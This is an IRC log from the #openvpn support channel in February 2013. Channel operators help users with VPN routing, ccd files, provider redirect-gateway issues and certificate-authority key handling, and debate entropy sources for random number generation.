16:47 <+pekster> I just told you about half a dozen times how to do that
16:47 -!- oomph_ [~jr@173.208.45.163] has quit [Read error: Connection reset by peer]
16:47 < [fred]> well
16:47 <+pekster> Bury your head in the sand, or use what you've just been told. At this point, I don't really care which you pick
16:47 < [fred]> it doesnt work like you said
16:47 < [fred]> i found that apporach on plenty of webpages
16:48 < [fred]> it doesnt work
16:48 <+pekster> Then post logs at 'verb 4' from your client that gets messed up. It's not getting pushed the 192.168.0.0/24 route unless you've done so in its own ccd file
16:49 < [fred]> without the ccs/client1.conf i always had: MULTI: bad source address from client  on the server
16:49 < [fred]> *ccd
16:50 < [fred]> well
16:50 < [fred]> i'll post tommorrow
16:50 < [fred]> its midnight over here
16:50 <+pekster> Stop wasting my screen space with endless 'well'. It's annoying
16:50 < [fred]> and i need to work tomorror
16:50 <+pekster> More typing. Less enter key.
16:50 < [fred]> well
16:50 < [fred]> ok
16:50 -!- mode/#openvpn [+o pekster] by ChanServ
16:50 <@pekster> Please don't do that.
16:51 < [fred]> lol - ok - ill never do that again and i'll post verb 4 tommorrow - but for now i just change that subnet because this would work
16:53 < [fred]> at least it doesnt cost anything ,)
16:53 < [fred]> only time
16:55 -!- Sickness\ is now known as sickness\
16:55 <@pekster> There's no reason a route on the openvpn server in any way impacts the private LAN behind another client (or one the client is attached to.) Unless perhaps that LAN is directly attached to your VPN server on another interface
16:58 <@pekster> THere's nothing wrong with a setup like this: [client2] - [192.168.0/24 LAN] - [Internet ] - [VPN server] - [Internet] - [192.168.0/24 LAN] - [client1]
16:59 <@pekster> If you want the server (and potentially any clients you choose to push the route to) to reach client1's view of 192.168.0/24, you can selectively control that by pushing it to none, some, or all of your VPN clients
16:59 < [fred]> ok - this now works for me in if-up.d: http://pastebin.com/gNSXf8x7
16:59 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
16:59 < [fred]> (on the serverside)
17:00 < [fred]> thanks for you time
17:00 <@pekster> You can replace that with the following in your server config: 'route 192.168.0.0 255.255.255.0'
17:00 <@pekster> That'll do the exact same thing
17:00 < [fred]> to this client it does - because its a routed client
17:01 < [fred]> but from the other 10 client there are 4 which are also on 192.168.0.0/24
17:01 < [fred]> but in different locations
17:01 < [fred]> but they need their local lan connectivity
17:01 < [fred]> and they need the connect to 10.10.99.1
17:01 <@pekster> Right, I got all of that
17:02 <@pekster> You're not trying to expose client 1's 192.168.0/24 to the other clients, correct?
17:02 < [fred]> right
17:02 <@pekster> So it's downright silly to do that in a distro post-up iface script instead of doing it from openvpn
17:02 < [fred]> in my setup all the other clients are p2p clients to the openvpn server
17:03 < [fred]> only one lient is routed from a 192.168.0.x subnet
17:03 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
17:04 -!- sickness\ is now known as Sickness\
17:05 <@pekster> The upshot is that the 'route' option is separate (but related) to the 'push "route ..."' syntax. If something on a client breaks becuase you added 'route 192.168.0.0 255.255.255.0' in the server config and restarted both sides, there's something else wrong (assuming it all worked before you did that and chnaged nothing else.)
17:06 < [fred]> i'll try your hints - thank you very much
17:06 <@pekster> Yup. If you still have issues, feel free to stop back with full server, client, ccd, and client logs at 'verb 4' (server logs may be necessary too, although this sounds like a client-side issue
17:18 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
17:24 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has quit [Quit: Ex-Chat]
17:25 -!- daemonoob [~rschultz@68-233-212-42.static-ip.telepacific.net] has quit [Quit: Leaving]
17:32 < hg_5> how to add ccd ?
17:37 -!- Sickness\ is now known as sickness\
17:38 <@pekster> hg_5: See the --client-config-dir directive
17:38 < hg_5> what?
17:39 <@pekster> You enable a ccd dir by using that directive. YOu add a ccd by creating a file matching the client's CN (common-name) in that directory. No extension on the file, just the CN as the full file name
17:45 <@pekster> !ccd
17:45 <@vpnHelper> "ccd" is (#1) entries that are basically included into server.conf, but only for the specified client based on common-name. use --client-config-dir <dir> to enable it, then put the config options for the client in <dir>/common-name or (#2) the ccd file is parsed each time the client connects.
17:49 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Ping timeout: 264 seconds]
17:53 -!- sickness\ is now known as Sickness\
17:58 -!- oomph [~jr@23.30.10.209] has quit [Quit: oomph]
17:58 -!- Sickness\ is now known as sickness\
18:02 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
18:05 -!- sickness\ is now known as Sickness\
18:15 -!- Sickness\ is now known as sickness\
18:20 -!- sickness\ is now known as Sickness\
18:21 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
18:22 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 255 seconds]
18:26 -!- daemonoob [~rschultz@68-233-212-42.static-ip.telepacific.net] has joined #openvpn
18:26 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Quit: Leaving]
18:44 -!- gardar [~gardar@gardar.net] has quit [Ping timeout: 245 seconds]
18:45 -!- daemonoob [~rschultz@68-233-212-42.static-ip.telepacific.net] has quit [Quit: Leaving]
18:47 -!- Devastator [~devas@177.18.196.246] has quit [Changing host]
18:47 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
18:48 -!- Sickness\ is now known as sickness\
18:49 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has quit []
19:04 -!- nickanderson_afk is now known as nickanderson
19:10 -!- oomph [~jr@pool-71-246-228-33.washdc.fios.verizon.net] has joined #openvpn
19:11 -!- AsadH is now known as zz_AsadH
19:16 -!- julius_ [~julius@141.41.92.122] has quit [Read error: Connection reset by peer]
19:19 -!- oomph [~jr@pool-71-246-228-33.washdc.fios.verizon.net] has quit [Quit: oomph]
19:29 -!- nagwillow [~nagwillow@46.246.116.223] has joined #openvpn
19:29 < nagwillow> !welcome
19:29 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
19:29 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
19:30 < nagwillow> !howto
19:30 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
19:34 < nagwillow> !ask
19:34 <@vpnHelper> "ask" is don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc
19:39 < nagwillow> I'm having issues with DCC sending.  When I'm not using OpenVPN I have no problem.  However, once I connect, my DCC sends just time out.
19:42 -!- mode/#openvpn [-o pekster] by ChanServ
19:43 <+pekster> nagwillow: redirecting your gateway across the VPN?
19:47 < nagwillow> Hmmm, I'm not sure.  I just downloaded the privacy.io config file and crossed my fingers.  How can I check?
19:47 <+pekster> Sounds like a firewall on the server-side, is my guess
19:48 <+pekster> We aren't really able to support someone else's network (you're using your providers network which you don't control, so nothing on their side can be verified as you don't have a login to their host.)
19:48 -!- raidz is now known as raidz_away
19:49 < nagwillow> Gotcha
19:49 <+pekster> Life gets harder if they're using rfc1918 space for your VPN IP too, since it's NAT in addition to a firewall on their end
19:50 <+pekster> So: it's your provider that's causing the issue. If you check your logs at 'verb 4' I'm almost certain you'll see a 'redirect-gateway' reply in the PUSH-REPLY
19:53 < nagwillow> "Tue Feb 05 20:13:30 2013 PUSH: Received control message: 'PUSH_REPLY,redirect-gateway def1 bypa"....etc
19:53 < nagwillow> ?
19:59 <+pekster> There you go. You're redirecting traffic through your peer, and they obviously don't support the return DCC traffic
20:00 <+pekster> See --redirect-gateway in the manpage, but it's exactly as I suggested earlier. So:
20:00 <+pekster> !provider
20:00 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
20:01 < nagwillow> Ah I see.  Thanks for the help.  Is there a recommended provider (free or otherwise) which would be a working alternative?
20:02 -!- nickanderson is now known as nickanderson_afk
20:02 <+pekster> No clue. I have no idea how they manage their firewalls or handle NAT issues, or which ones give clients public IPs
20:03 < nagwillow> Ok.  Thanks for the help, pekster.
20:03 -!- nagwillow [~nagwillow@46.246.116.223] has quit []
20:07 -!- c3vin [~c3vin@cpe-107-10-36-73.neo.res.rr.com] has joined #openvpn
20:08 -!- c3vin [~c3vin@cpe-107-10-36-73.neo.res.rr.com] has quit [Read error: Connection reset by peer]
20:09 -!- c3vin [~c3vin@cpe-107-10-36-73.neo.res.rr.com] has joined #openvpn
20:15 -!- u0m3 [~Radu@92.80.123.64] has quit [Ping timeout: 245 seconds]
20:45 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit []
20:53 -!- kevinch [~kevinch@d24-57-197-43.home.cgocable.net] has joined #openvpn
20:53 < kevinch> !welcome
20:53 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
20:53 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
20:53 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
20:54 < kevinch> !ask I would like to setup a openvpn on ddwrt to a mac
20:54 < kevinch> hi all
20:55 < kevinch> I'm setting up openVPN server on DD-WRT and trying to VPN in with a mac using tunnelblick
20:55 < kevinch> not entirely sure on exact directions, I made the keys and such using an ubuntu machine
20:55 < kevinch> followed instructions on DDWRT wiki
20:56 <+pekster> You essentially follow the official OpenVPN howto, just create the server-config on the dd-wrt. I've done openvpn+openwrt before, although I write my own configs and initscripts because the abstractions and GUIs are a pain
20:56 <+pekster> !howto
20:56 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
20:57 < kevinch> okay thanks Ill take a look, mind if I ask some questions along the way as I work through the guide?
20:58 <+pekster> If it's something the official howtwo explains I'll likely just refer you there. That said, are you confused on a particular part of the setup?
20:58 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
20:58 < kevinch> Just one question, for testing purposes can I try to get into my VPN from my local network?
20:59 <+pekster> Generally yes, although if you use the --redirect-gateway option, see the 'local' parameter in the manpage as you're likely to want that
21:00 <+pekster> It's not a good way to test external access of course, but otherwise you can establish a connection that way
21:01 < kevinch> okay thanks, just to make sure all my keys are correct and such.  Also the questions that i was asked when I generated the keys, do those all have to have the same answers?  If I put a different one by mistake or something should I regenerate them all?
21:03 <+pekster> Nothing really matters except the common name which needs to be unique for your certs (at least without hackish solutions)
21:03 <+pekster> If you do per-client rules (by way of ccd files or a --client-connect script) you'll need to refer to each client by its CN
21:03 < kevinch> okay thanks
21:03 < kevinch> its more to generate the random keys?
21:03 <+pekster> See the PKI part of the official howto for specifics
21:03 < kevinch> thank you
21:04 <+pekster> Well, they're not random, they're very specifically mathematically related with random primes used in the process, but sure, "random" is close enough :P
21:04 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 256 seconds]
21:07 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
21:09 < kevinch> haha okay
21:20 < Devastator> is it correct to say that it is not advisable to build cert/keys on the same machine openvpn runs?
21:21 < kevinch> couldn't get my connection to work
21:21 < kevinch> https://gist.github.com/anonymous/c63a6ec2ea26e31a2599
21:21 <@vpnHelper> Title: gist:c63a6ec2ea26e31a2599 (at gist.github.com)
21:21 <+pekster> Ideally you want your PKI on a separate system, but small installations sometimes ignore this. It is wise to generate your keys on the system that will use them and just send the request and cert across the wire
21:21 < kevinch> mind if you could take a quick peak pekster if you have a spare second
21:23 < kevinch> meh ill just try it tomorrow and play around a bit more with hit
21:23 -!- kevinch [~kevinch@d24-57-197-43.home.cgocable.net] has left #openvpn []
21:24 <+pekster> 125 seconds is apparently too long for a reply. Oh well, my Ctrl-U still works nicely :)
21:27 < Devastator> pekster by "send the request and cert across the wire" you mean.. upload it?
21:28 <+pekster> Yea. There's no reason for a private key to be send over the network
21:28 <+pekster> It's just generally bad practice
21:31 < Devastator> yes, that's exactly why I'm asking..
21:32 < Devastator> there is no point in having something to secure things if I don't follow good practices
21:34 < Devastator> so just to be sure, it will be like: #1 - install and configure server, #2 - go to the client machine, generate keys and cert, #3 - connect to the server with ftp, scp or whatever to upload the cert, #4 - connect to the vpn
21:34 < Devastator> something like that?!
21:35 <+pekster> The cert is signed by the CA
21:36 <+pekster> You generate the keypair and a CSR (Certificate Signing Request, sometimes called a .csr or .req file.) This is not sensitive, and sent (often in the clear) to the CA. The CA verifies this came from the client (eg: verbal verification of the fingerprint) and then signs it, producing a valid certificate. This is then sent (possibly in the clear) back to the client
21:36 <+pekster> Only the private keys are "secret" -- everything else in a PKI can be considered public
21:37 <+pekster> eg: attackers on the wire can actually swipe your public certificates exchanged between the clients
21:40 < Devastator> pekster pardon for such a lame question but.. can the CA be also called "openvpn server"?
21:41 <+pekster> They're completely separate. You may run them both on the same system if you'd like; the CA is merely a collection of files including, critically, the CA private key
21:41 <+pekster> The thing to remember is that compromise of your CA key compromises the entire infrastructure; compromise of a single non-CA keypair only compromises that client and the rest of the PKI is still secure
21:42 <+pekster> Application servers running a VPN tend to run more software than a CA does. You can even keep your CA PKI on an offline system stored on an encrypted USB drive kept in a vault, if you need that level of security
21:46 < Devastator> I did read the howto a few times, I did try to understand all, can I make a list of dumb questions on a pastebin then get back to you?
22:03 < Devastator> heheh I guess not..
22:05 <+pekster> Easier to ask here. You may even get answers, in between my glasses of wine and reading about DL14
22:06 <+pekster> Erm, DA14. That big round thing hurling just to the side of our planet
22:08 < Devastator> heheheh
22:24 < Devastator> PKI is kind of.. environment to build keys, certs, requests. CA PKI is part of PKI, to validate those certs, requests. am I understanding it correctly? The terminology confuses me a little, bear in mind I've never messed with VPN before
22:27 <+pekster> PKI = Public Key Infrastrucutre. The CA is the Central Authority, also often used to refer to the keypair at the "root" of the PKI. This CA is ultimately trusted by all peers (your servers and clients.)
22:28 <+pekster> All the keys are X.509 keypairs. There's actually nothing magic about the CA verses any of your other keypairs. It's just how they're layed out. The CA signs (cryptographically) each cert, and in the case of openvpn, adds some extra options that designate each certificate a "server" or "client" certificate, indicating what it's purpose is
22:28 <+pekster> Wikipedia probably gives you a better more basic desscription of X509 and PKI if you need
22:32 < Devastator> thanks!
22:33 < Devastator> well, creating a PKI on each client isn't much handful I guess
22:34 < Devastator> leaving PKI on the server itself is not recommended at all..
22:35 <@krzee> !tell krzee [hmac]
22:36 <@krzee> too lazy for msg syntax D
22:36 <@krzee> :D
22:40 < Devastator> pekster what would you do if you don't have a offline system to put the PKI there?
22:43 <@krzee> get one, or choose whatever you consider to be the next best thing to be it
22:46 <+pekster> I have an online "admin" host internally. It doesn't run much, has slightly higher security standards. Some of my PKI runs of there, some of it is just an intermediate CA with offline roots kept in a secure location
22:47 <+pekster> Locked vaults and armed gards are not suitable for every installation ;)
22:47 <+pekster> guards. First of many typos tonight I'll blame on the wine
22:47 < Devastator> hahahah
22:47 < Devastator> don't worry
22:48 < Devastator> I'm just trying to figure a way of doing so it can be portable and easy to generate/sign certs etc etc
22:49 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
22:49 <+pekster> Run it all off your VPN server if you'd like. That's not appropriate in larger deployment situations, and most companies (even medium-ish ones 50+ employees) tend to have policies about such things
22:50 <+pekster> There's nothing "wrong" about doing it like that, it's just not as secure in the event your VPN server (that also houses your PKI and CA root key) is compromised. Then you hope you discover the compromise before your key is brute-forced, and your server key can be assumed compromised anyway
22:52 < Devastator> if it were all linux clients.. but it's almost all windows, my idea would be to have PKI on a pendrive, then go to the client that I want to generate cert/request and use the PKI from the pendrive
22:53 <+pekster> THat's a pain since frontends will be different on each host to manipulate your PKI, plus different openssl versions may have slightly different featuresets
22:54 <+pekster> In other words, you probably don't want to do that
22:54 <+pekster> Either do it all on a single box (like the official howto shows you) or learn more about what the CA actually does when it gets a CSR and signs it, generating the valid cert
22:55 <@krzee> !tell krzee [dh]
22:56  * pekster always imagine a prime sliding into home plate and an umpire yelling "Safe!" whenever openssl generates "safe primes" for diffie-hellman params
22:57 < Devastator> pekster ok, just to be sure again, and the official howto is not recommended because everything that an attacker needs will be there..
22:57 <+pekster> It's recommended if you don't really know what you're doing
22:57 <+pekster> From a security perspective, you split your critical infrastructure bits onto systems you deem secure enough
22:58 < Devastator> yes, time to know what I'm doing
22:58 <+pekster> Choose between doing it all on the server (convenient, less hardware and time required, but least secure) to using a completely offline CA on an encrypted disk stored in an armed, locked, biometric vault with security cameras (most secure, also the least user-friendly and most expensive.)
22:58 <+pekster> Or do something between those 2 extremes
22:59 -!- gardar [~gardar@gardar.net] has joined #openvpn
22:59 <+pekster> Or pay a company to do it all for you. Possibly very convenient, but out of your control and not free ;)
23:00 <@krzee> lol at umpire yelling "SAFE!"
23:01 < Devastator> something between those 2 extremes seems ok, will look into it
23:02 < Devastator> I will follow the howto for now, just to get the hang of configuring it at least
23:02 <+pekster> You can put it on a USB stick and boot a laptop off a live-CD for a middle-of-the-road approach
23:02 <+pekster> Encrypt the USB stick for another layer of protection, but the CA key has its own passphrase, unless you explicitly use -nodes with openssl
23:02 < Devastator> that seems doable
23:02 <+pekster> Ubuntu has Live-CDs, and rumor has it they even patched their openssl mess ;)
23:05 <+pekster> There's also xca, a GUI-frontend to generate CAs. I've never tried it, but there's some link to using it with openvpn:
23:05 <+pekster> !xca
23:05 <@vpnHelper> "xca" is (#1) XCA is a GUI to create/manage a PKI, much more user-friendly than easy-rsa. or (#2) Example XCA PKI for OpenVPN(writeup pending): https://community.openvpn.net/openvpn/wiki/XCA
23:06 <+pekster> You're less likely to get support for it (the howto is the official reference) but you're free to poke at it if you're willing to keep any broken pieces you end up with
23:06 < Devastator> if I understand anything, if I have a certs generated with Ubuntu version XY, openssl WZ, I will need to use the same openssl version if I want to sign/generate others
23:07 <+pekster> Well, it's more or less "version independent" but you don't want to mix different platforms. Easy-rsa includes the scripts at the top-level, and the .bat files are completely different than the bash scripts
23:07 <+pekster> You can also get surprised with openssl bugs between minor versions and the like. It's unwise to just willy-nilly plug your UBS stick with a PKI into a random machine and start issuing openssl commands
23:08 <+pekster> You don't need that "exact" version of openssl, no. Since you're multi-platform, your OS differences are going to cause you troubles at your skill level. Keep the PKI on one OS
23:08 < Devastator> got it, I'm just thinking if I would need the same live version/distro
23:08 <+pekster> Nope
23:09 < Devastator> alright!
23:10 <+pekster> You can re-do your PKI any time you want; you just need to replace the .key and .crt files on every host, including the ca.crt if you re-generated your CA too
23:10 < Devastator> tomorrow I will buy 2 usb sticks, I will leave one as backup just in case the #1 dies
23:10 <+pekster> I bought a 4-pack of 32 MB USB sticks years ago for offline PKI storage. Something like $5 on sale :)
23:10 < Devastator> 32GB?
23:10 <+pekster> No, 32 MB
23:10 <+pekster> I don't think you can buy them that small anymore ;)
23:11 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
23:11 < Devastator> sorry, I thought it was a wine typo again :)
23:11 < Devastator> indeed
23:11 < Devastator> 1GB should be fine, this will be my only vpn server..
23:12 < Devastator> it's ok to run it off my router/firewall, right?
23:12 <+pekster> 32M should be fine. the entire PKI takes up less than 1MB even after you issues dozens of certs
23:13 < Devastator> I don't have a services/daemons server.. also, I think 1GB is the smallest I will find hehe
23:14 <+pekster> I wouldn't "turn off" your firewall on any Internet-exposed system, no
23:16 < Devastator> s/off/on
23:16 < Devastator> excuse my english
23:16 <+pekster> http://pekster.sdf.org/misc/usb-32m.jpg
23:20 < Devastator> heheh, not available anymore
23:20 < Devastator> smallest I could find was 256MB
23:21 <+pekster> I have one of those too
23:22 < Devastator> for a few more cents... 4GB..
23:24 <+pekster> Yea, I know. You can't buy them like you used to
23:24 <+pekster> I dunno what I paid for that blister pack. Maybe $5 after shipping
23:25 <+pekster> 128 MB between the 4 sticks!
23:26 < Devastator> I'm going to buy the smallest I can find, format it with LVM and try
23:30 <+pekster> LVM on USB? Okay...
23:30 < Devastator> hum.. never encrypted anything, it was a long shot heheheh
23:31 <+pekster> You still need an actual filesystem on top of it, unless you plan to hexedit all your keys onto a raw block device...
23:31 <+pekster> Use a normal filesystem unless you know what you're doing. Better yet, start with the howto guide so you know what you're doing before you burn a bunch of bits to the flash memory on your new USB devices
23:32 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
23:32 -!- mode/#openvpn [+o krzee] by ChanServ
23:32 <+pekster> They keys are already encrypted. An encrypted filesystem gives you more security, another layer to the crown jewels so to speak. The more secure you are the harder it is for an attacker who breaks into your house and steals your offline key storage, and the harder it is for you to use your own PKI. This is your ever-present choice in security
23:33 <+pekster> Buy a safe deposit box. Buy 2, in different cities in case one gets robbed so you still have your backup. etc, etc.
23:33 <@krzee> !tell krzee [sample]
23:34 <+pekster> I'm sure krzee has safe deposit boxes for his PKI ;)
23:34 <@krzee> cameras and offline
23:34 <@krzee> =]
23:35 <@krzee> *flex*
23:35 <@krzee> oh and an armed guard!
23:35 <@krzee> (the guard and the cameras are not for the pki, but it felt like a good place to keep the pki)
23:35 <@krzee> !shotgun
23:35 <@vpnHelper> "shotgun" is (#1) the most effective form of physical security or (#2) <hyper_ch> shotgun security? <EugeneKay> If you try to physically attack my network, I chase you with a shotgun.
23:39 -!- king0demons [~king0demo@pool-96-249-233-88.nrflva.fios.verizon.net] has joined #openvpn
23:39 -!- king0demons [~king0demo@pool-96-249-233-88.nrflva.fios.verizon.net] has quit [Client Quit]
23:40 < Devastator> hahahahah
23:47 < Devastator> pekster this is what I might follow after my initial experience with the howto: http://linuxconfig.org/usb-stick-encryption-using-linux
23:47 <@vpnHelper> Title: USB stick encryption using Linux (at linuxconfig.org)
23:51 <@krzee> pekster, played with the ios client?
23:52 <@krzee> when i did it i was able to load the files from itunes, now im somewhere else setting it up on an iphone that has no computer to sync to, yanno if that means i need to put everything in-line myself?
23:53 < Devastator> !howto
23:53 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
23:53 <+pekster> I own no apple devices
23:53 <+pekster> Nor do I want to
23:54 <+pekster> Someday I might need to buy one of those desktop cube-ish things to do Tunnelblick client development, and I'll only do that with a very long face
23:55 <+pekster> krzee: If you find the secret key out of the walled garden, let me know :P
23:55 <@krzee> appletv kicks butt as an xbmc device btw (although i hear theres nicer android devices now)
23:55 <@krzee> secret key walled garden?
23:57 <@krzee> learn inline as see http://www.packtpub.com/article/new-features-of-openvpn-2-1-and-2-2 for some info an putting certs directly into your config file
23:57 <@vpnHelper> Title: New Features of OpenVPN 2.1 and 2.2 | Packt Publishing (at www.packtpub.com)
23:57 <@krzee> heh
23:57 <@krzee> !learn inline as see http://www.packtpub.com/article/new-features-of-openvpn-2-1-and-2-2 for some info an putting certs directly into your config file
23:57 <@vpnHelper> Joo got it.
--- Day changed Wed Feb 06 2013
00:00 < Devastator> interesting, there are two KEY_EMAIL in vars, one with ", one without..
00:00 <@krzee> prolly in different blocks
00:01 < Devastator> can I put the same on both?
00:02 <@krzee> i put not@real
00:02 <@krzee> so sure :-p
00:03 <@krzee> not like openssl is going to send you an email or anything
00:03 <@krzee> its only there for you
00:03 <+pekster> Your X509 details are send in the clear (DER-encoded, but it's not encrypted, so anyone can see the name/city/state/email you use. FYI)
00:04 < Devastator> thanks! for me to not bother you guys for each KEY_, is there a paper explaining each? there's KEY_CN=changeme, but howto doesn't mention it..
00:05 <+pekster> Leave that; you set it each key you generate
00:05 <+pekster> The howto explains the easy-rsa process
00:05 <+pekster> !howto
00:05 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
00:06 < Devastator> got it, I just changed what howto told me, I will leave the rest as default
00:11 < Devastator> building diffie-hellman
00:14 <@krzee> haha i have 8kb configs now
00:14 <+pekster> krzee: You ever watch that facthacks talk? So much of those keys are redundant anyway
00:15 <@krzee> watched it 3 times
00:15 <@krzee> damn good talk
00:16 <+pekster> Now go re-geneate your keys on any embedded hardware you're using ;)
00:16 <@krzee> got lucky, never used embedded for keygen
00:16 <@krzee> more luck than thinking ahead tho
00:17 <+pekster> I actually looked into it as there's fairly little literature about the entropy problem of Linux+embedded. I found a whitepaper from the mid 2000's though
00:17 <@krzee> makes sense tho
00:17 <+pekster> Here it is: http://eprint.iacr.org/2006/086.pdf
00:23 <@krzee> "Since a physical source of randomness is often too costly, most systems use a pseudo-random number generator."
00:23 <@krzee> umm, arent physical sources of randomness also pseudo-random?
00:25 < Devastator> can I test the vpn from inside the network?
00:25 <@krzee> are you sharing the lan?
00:25 <@krzee> or redirecting internet?
00:26 < Devastator> no, it's internet->wireless router->clients (one of those clients is actually the vpn server)
00:26 <@krzee> what is the purpose of the vpn?
00:26 < Devastator> I'm gonna run it at my company when I'm done with testing
00:26 <@krzee> heh
00:27 <@krzee> !goal
00:27 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
00:27 <@krzee> like that ^
00:27 < Devastator> sorry, my goal is to access my company's router from home over a secure connection
00:28 <@krzee> ok, so basically sharing the lan
00:28 < Devastator> right now I'm building the actual new company router at home.. before putting it in production
00:29 <@krzee> so nope, cant really test from within the same lan
00:29 <@krzee> you can comment out the lan sharing stuff, and then test
00:29 <@krzee> but you'll need to test to the lan ip
00:29 <@krzee> by "lan sharing stuff" i mean --route and --push "route...
00:30 < Devastator> yes, it's commented out
00:31 < Devastator> let's see
00:36 < Devastator> what's the factoid for windows clients?
00:36 < Devastator> openvpn clients
00:36 <@krzee> !download
00:36 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
00:36 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
00:36 <@krzee> #1
00:36 <+pekster> krzee: See: random.org for RNG, not PRNG ;)
00:37 <@krzee> after i hook up these 2 ipads / 2 iphones to this vpn
00:38 <@krzee> ios = suck
00:38 <+pekster> Hardware RNG card exist to connect to a sound card for instance and use ambiant noise, but for "most" people PRNG is "good enough"
00:38 <@krzee> but thats just another source of entropy
00:38 <@krzee> like a prng can use
00:39 <+pekster> PRNG comes up with the random data based on written computer code. True "random" data comes from atmospheric radiation or the like
00:39 <@krzee> many prng use sources of entropy when doing so
00:40 <@krzee> such as sound card or video card, network card, whatev
00:40 <+pekster> Not really
00:40 < Devastator> I swear I will not be so dumb in a few weeks using vpn :)
00:40 <+pekster> Interrupts, disk I/O delay, keyboard, and mouse are you standard entropy sources for Linux
00:40 <@krzee> the paper you linked to me said it too
00:40 <+pekster> Nothing to do with your sound card
00:40 <+pekster> (in most cases, unless you have specalized hardware)
00:40 <@krzee> most systems use a pseudo-random number generator. The state of the generator is seeded, and periodically refreshed, by entropy which is gathered from physical sources (such as from timing disk operations, or from a human interface).
00:41 <+pekster> Right
00:41 <+pekster> Former = Disk I/O (ie: delay between disk seeks)
00:41 <+pekster> lattter = keyboard+mouse
00:42 <@krzee> there something special about an audio device that it couldnt be used like those?
00:42 <+pekster> One of my 2 headless boxes has low disk I/O, no mouse, no keyboard, and minimal disk activity. The entropy pool is generally very low on that one, compared to the one that does 24/7 torrenting
00:42 <@krzee> (from software)
00:42 <+pekster> Sure: the fact that an audio card is not usually connected to a microphone ;)
00:42 <@krzee> my laptop is
00:42 <+pekster> (Plus more technical issues of normalizing gain, and assuring that it's a valid source of really "random" entropy)
00:42 <@krzee> 24/7
00:43 <@krzee> the hw device would have those hurdles too
00:43 <@krzee> my bob marley song isnt quite random
00:43 <@krzee> regardless of sw or hw
00:43 <+pekster> Not if it has software to figure that all out on integrated chips
00:43 <+pekster> You can't exactly design IC's in the kernel code ;)
00:43 <@krzee> why would said software need to be on chips?
00:44  * krzee smacks himself "back to work krzee!"
00:44 <@krzee> bbiaf =]
00:44 <+pekster> You need to figure out if it's a valid source of random before you use it. A sine wave connected via your audio cable would be Very Bad, for instance
00:45 <@krzee> but ill still be interested in this!
00:45 <+pekster> Debian tried the --just-trust-us option on randomness, and it failed. Badly.
00:45 <@krzee> definitely not trying to get out of the conversation
00:45 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
00:53 < Devastator> how should be the path for windows ca.crt etc etc? Tried C:\Program Files\OpenVPN\<files>, should I put " "?
00:54 <+pekster> The manpage explains that just a couple pages in
00:55 <+pekster> Examples you can almost copy and paste even ;)
00:56 -!- Vorik [~quassel@D97950AD.cm-3-2b.dynamic.ziggo.nl] has quit [Quit: No Ping reply in 180 seconds.]
